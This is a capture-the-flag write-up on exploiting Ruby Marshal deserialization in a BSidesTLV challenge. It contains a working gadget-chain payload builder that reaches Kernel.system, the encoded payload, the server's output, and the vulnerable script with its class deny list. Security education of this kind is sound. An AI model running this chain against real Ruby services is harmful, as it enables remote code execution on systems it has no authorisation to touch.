Inspector Gadget
- Category: Pwn
- 450 points
- Solved by JCTF Team
Description
Inpection
First let's try to connect to the server and what it is all about:
$ nc inspector-gadget.ctf.bsidestlv.com 3000
### #####
# # # #### ##### ###### #### ##### #### ##### # # ## ##### #### ###### #####
# ## # # # # # # # # # # # # # # # # # # # # #
# # # # #### # # ##### # # # # # # # #### # # # # # ##### #
# # # # # ##### # # # # # ##### # # ###### # # # ### # #
# # ## # # # # # # # # # # # # # # # # # # # # #
### # # #### # ###### #### # #### # # ##### # # ##### #### ###### #
Please insert log object in base64 format (for example 'BAhvOg9EeW5hbWljTG9nCDoLQGxldmVsSSIJSU5GTwY6BkVUOg1AbWVzc2FnZUkiDE1lc3NhZ2UGOwdUOgpAdHlwZUkiCGNzdgY7B1Q='):
Let's try the example. We get:
level,message
INFO,Message
we decoded the example and got:
$echo BAhvOg9EeW5hbWljTG9nCDoLQGxldmVsSSIJSU5GTwY6BkVUOg1AbWVzc2FnZUkiDE1lc3NhZ2UGOwdUOgpAdHlwZUkiCGNzdgY7B1Q= | base64 -d | hexdump -C
00000000 04 08 6f 3a 0f 44 79 6e 61 6d 69 63 4c 6f 67 08 |..o:.DynamicLog.|
00000010 3a 0b 40 6c 65 76 65 6c 49 22 09 49 4e 46 4f 06 |:.@levelI".INFO.|
00000020 3a 06 45 54 3a 0d 40 6d 65 73 73 61 67 65 49 22 |:.ET:.@messageI"|
00000030 0c 4d 65 73 73 61 67 65 06 3b 07 54 3a 0a 40 74 |.Message.;.T:.@t|
00000040 79 70 65 49 22 08 63 73 76 06 3b 07 54 |ypeI".csv.;.T|
Ok, what it is?
We downloaded and extract the docker image and found a ruby script named index.rb (attached in the appendix below). Notice that the flag file is located in the same folder but is never used or referenced by the ruby script. we will get to it later.
In the script we can see that it decodes the base64 input and unmarshals it:
serialized_object = Base64.decode64 gets
is_blocked = firewall serialized_object
puts
return puts 'Blocked By The Application Firewall' if is_blocked
Marshal.load(serialized_object).log rescue nil
Hey, but what is this firewall in the second line above? 🤔
The name of the challenge implies that we need to use gadget chain in order to exploit the deserialization and achieve arbitrary command execution.
This technique is decribed here.
Ruby Gadget Chain TL;DR-ing:
- When we call to Marshal.load there is a function named "marshal_load" which called automatically if the loaded object implements it.
- the loaded object contains other objects and is constructed in such a way that triggers a chain of automatic functions (apparently there are many of them) until, in the end of the chain, "system" function is invoked with any command we want (we want "cat flag").
- In our case the first object in the chain is Gem::Requirement which implements marshal_load and triggers the next functionin the chain - which is the "each" function - that is called on each object that is given to it.
- We highly recommend to read the details in the above mentioned article
But can it work here?
The Problem
There are three obstacles in our way to run a succefully gadget chain:
First, the original gadget chain contains the classes Gem::DependencyList, Gem::Source::SpecificFile and StubSpecification, and they are all blocked by the firewall function :-(
Second, the original gadget is invoked by marshal_load of Gem::Requirement, but in the challenge that function is overridden by an empty marshal_load function (which means that upon loading a Gem::Requirement object nothing will happen):
class Gem::Requirement def marshal_load(array) end end
Moreover, we need also DynamicLog object in order to pass the firewall check.
The Solution
1. Bypassing the firewall
Side Quest:
To pass the first obstacle we tried for a long time "manually fuzzing" the marshalled object to pass the firewall. But that didn't go well and we didn't find special chars or conditions which will split pass the firewall filtering and will keep the objects valid...
Now what?
The inspector has to look for another gadget chain.
Finding Another Chain:
Here we found another gadget chain (good work realgam3!) that doesn't contain the blocked objects, except from Gem::Requirement that also here appears first in the chain using its marshal_load function.
2. Replacing the First Part of the Chain
To pass the second obstacle we needed to replace Gem::Requirement with another object that is not blocked by the firewall but implements marshal_load similarly (by calling the "each" function for each sub-object in it). Let's look for another class with marshal_load. In the above mentioned article there is code that searches the appearance of a function in other available objects. This is the code we took from there:
ObjectSpace.each_object(::Class) do |obj|
all_methods = obj.instance_methods + obj.protected_instance_methods + obj.private_instance_methods
if all_methods.include? :marshal_load
method_origin = obj.instance_method(:marshal_load).inspect[/\((.*)\)/,1] || obj.to_s
puts obj
puts " marshal_load defined by #{method_origin}"
puts " ancestors = #{obj.ancestors}"
puts
end
end
We found our longtime friend Gem::Requirement as well as Gem::Version, SimpleDelegator, OpenStruct and more.
Gem::Version can't help us, because its marshal_load function returns an error if the argument (version) is not in a specific format.
Our first attempt was to use SimpleDelegator, which its marshal_load function invokes the variables in its array, exactly like Gem::Requirement. But unfortunately SimpleDelegator is not included by default on the server in the version of ruby that used in the Docker image (always use the Docker image if possible!)
Then we moved to try OpenStruct. Its marshal_load function (aliased for "update_to_values" function) invokes each_pair on its hash. Looks promising...
We looked for a class that supports "each_pair" function. Once bitten, twice shy, we chose CSV::Row, that we knows that it is explicitly included on the server (because it is used by DynamicLog log function). And the best part with CSV::Row is that its "each_pair" function implementation is alias to the regular "each" function!
So we overridden the marshal_dump function of open struct to return a CSV::Row object:
class OpenStruct
def marshal_dump
row = CSV::Row.new(["A"], ["B"])
row.instance_variable_set('@row', $t)
row
end
end
3. Bypassing the DynamicLog Checks
That was the easy part. We also put the string 'DynamicLog@type@level@message' in extra variable, in order to include it in the dump data and pass the first check of the firewall (look at the field @junk we added to object "t" in the chain below)
t.instance_variable_set('@junk', 'DynamicLog@type@level@message')
The Chain
Long story short, eventually we came up with the code:
class OpenStruct
def marshal_dump
row = CSV::Row.new(["A"], ["B"])
row.instance_variable_set('@row', $t)
row
end
end
def payload
Gem::SpecFetcher
wa1 = Net::WriteAdapter.new(Kernel, :system)
rs = Gem::RequestSet.allocate
rs.instance_variable_set('@sets', wa1)
rs.instance_variable_set('@git_set', "cat flag")
wa2 = Net::WriteAdapter.new(rs, :resolve)
Gem::Installer
i = Gem::Package::TarReader::Entry.allocate
i.instance_variable_set('@read', 0)
i.instance_variable_set('@header', "aaa")
n = Net::BufferedIO.allocate
n.instance_variable_set('@io', i)
n.instance_variable_set('@debug_output', wa2)
t = Gem::Package::TarReader.allocate
t.instance_variable_set('@io', n)
t.instance_variable_set('@junk', 'DynamicLog@type@level@message')
$t = t
r = OpenStruct.new()
[Gem::SpecFetcher, Gem::Installer, r]
end
def main
pay = payload
dump_pay = Base64.encode64 Marshal.dump(pay)
puts dump_pay.gsub(/\n/,'')
end
which creates the payload:
BAhbCGMVR2VtOjpTcGVjRmV0Y2hlcmMTR2VtOjpJbnN0YWxsZXJVOg9PcGVuU3RydWN0bzoNQ1NWOjpSb3cHOhBAaGVhZGVyX3Jvd0Y6CUByb3dvOhxHZW06OlBhY2thZ2U6OlRhclJlYWRlcgc6CEBpb286FE5ldDo6QnVmZmVyZWRJTwc7Cm86I0dlbTo6UGFja2FnZTo6VGFyUmVhZGVyOjpFbnRyeQc6CkByZWFkaQA6DEBoZWFkZXJJIghhYWEGOgZFVDoSQGRlYnVnX291dHB1dG86Fk5ldDo6V3JpdGVBZGFwdGVyBzoMQHNvY2tldG86FEdlbTo6UmVxdWVzdFNldAc6CkBzZXRzbzsRBzsSbQtLZXJuZWw6D0BtZXRob2RfaWQ6C3N5c3RlbToNQGdpdF9zZXRJIg1jYXQgZmxhZwY7D1Q7FToMcmVzb2x2ZToKQGp1bmtJIiJEeW5hbWljTG9nQHR5cGVAbGV2ZWxAbWVzc2FnZQY7D1Q=
Let's send it to the server:
$nc inspector-gadget.ctf.bsidestlv.com 3000
### #####
# # # #### ##### ###### #### ##### #### ##### # # ## ##### #### ###### #####
# ## # # # # # # # # # # # # # # # # # # # # #
# # # # #### # # ##### # # # # # # # #### # # # # # ##### #
# # # # # ##### # # # # # ##### # # ###### # # # ### # #
# # ## # # # # # # # # # # # # # # # # # # # # #
### # # #### # ###### #### # #### # # ##### # # ##### #### ###### #
Please insert log object in base64 format (for example 'BAhvOg9EeW5hbWljTG9nCDoLQGxldmVsSSIJSU5GTwY6BkVUOg1AbWVzc2FnZUkiDE1lc3NhZ2UGOwdUOgpAdHlwZUkiCGNzdgY7B1Q='):
BAhbCGMVR2VtOjpTcGVjRmV0Y2hlcmMTR2VtOjpJbnN0YWxsZXJVOg9PcGVuU3RydWN0bzoNQ1NWOjpSb3cHOhBAaGVhZGVyX3Jvd0Y6CUByb3dvOhxHZW06OlBhY2thZ2U6OlRhclJlYWRlcgc6CEBpb286FE5ldDo6QnVmZmVyZWRJTwc7Cm86I0dlbTo6UGFja2FnZTo6VGFyUmVhZGVyOjpFbnRyeQc6CkByZWFkaQA6DEBoZWFkZXJJIghhYWEGOgZFVDoSQGRlYnVnX291dHB1dG86Fk5ldDo6V3JpdGVBZGFwdGVyBzoMQHNvY2tldG86FEdlbTo6UmVxdWVzdFNldAc6CkBzZXRzbzsRBzsSbQtLZXJuZWw6D0BtZXRob2RfaWQ6C3N5c3RlbToNQGdpdF9zZXRJIg1jYXQgZmxhZwY7D1Q7FToMcmVzb2x2ZToKQGp1bmtJIiJEeW5hbWljTG9nQHR5cGVAbGV2ZWxAbWVzc2FnZQY7D1Q=
BSidesTLV2021{You_H4v3_Off1c14lly_B3c4m3_Gadget_Hunter}
We are inspector gadget now!
Appendix
index.rb:
#!/usr/bin/env ruby
# frozen_string_literal: true
require 'csv'
require 'json'
require 'base64'
class DynamicLog
def initialize(level, message, type)
@level = level
@message = message
@type = type
end
def log
obj = { :level => @level, :message => @message }
message =
case @type
when 'json'
JSON.dump obj
when 'csv'
CSV.generate do |csv|
csv << obj.keys
csv << obj.values
end
else
"[#{@level}] #{@message}"
end
puts message
end
end
class Gem::Requirement
def marshal_load(array) end
end
def firewall(input)
%w[DynamicLog @type @level @message].each do |word|
return true unless input.include? word
end
%w[
Gem::Requirement Gem::DependencyList Gem::Requirement
Gem::StubSpecification Gem::Source::SpecificFile
ActiveModel::AttributeMethods::ClassMethods::CodeGenerator
ActiveSupport::Deprecation::DeprecatedInstanceVariableProxy
].each do |word|
return true if input.include? word
end
false
end
def main
puts %(
### #####
# # # #### ##### ###### #### ##### #### ##### # # ## ##### #### ###### #####
# ## # # # # # # # # # # # # # # # # # # # # #
# # # # #### # # ##### # # # # # # # #### # # # # # ##### #
# # # # # ##### # # # # # ##### # # ###### # # # ### # #
# # ## # # # # # # # # # # # # # # # # # # # # #
### # # #### # ###### #### # #### # # ##### # # ##### #### ###### #
)
log = 'BAhvOg9EeW5hbWljTG9nCDoLQGxldmVsSSIJSU5GTwY6BkVUOg1AbWVzc2FnZUkiDE1lc3NhZ2UGOwdUOgpAdHlwZUkiCGNzdgY7B1Q='
puts "Please insert log object in base64 format (for example '#{log}'):"
serialized_object = Base64.decode64 gets
is_blocked = firewall serialized_object
puts
return puts 'Blocked By The Application Firewall' if is_blocked
Marshal.load(serialized_object).log rescue nil
end
main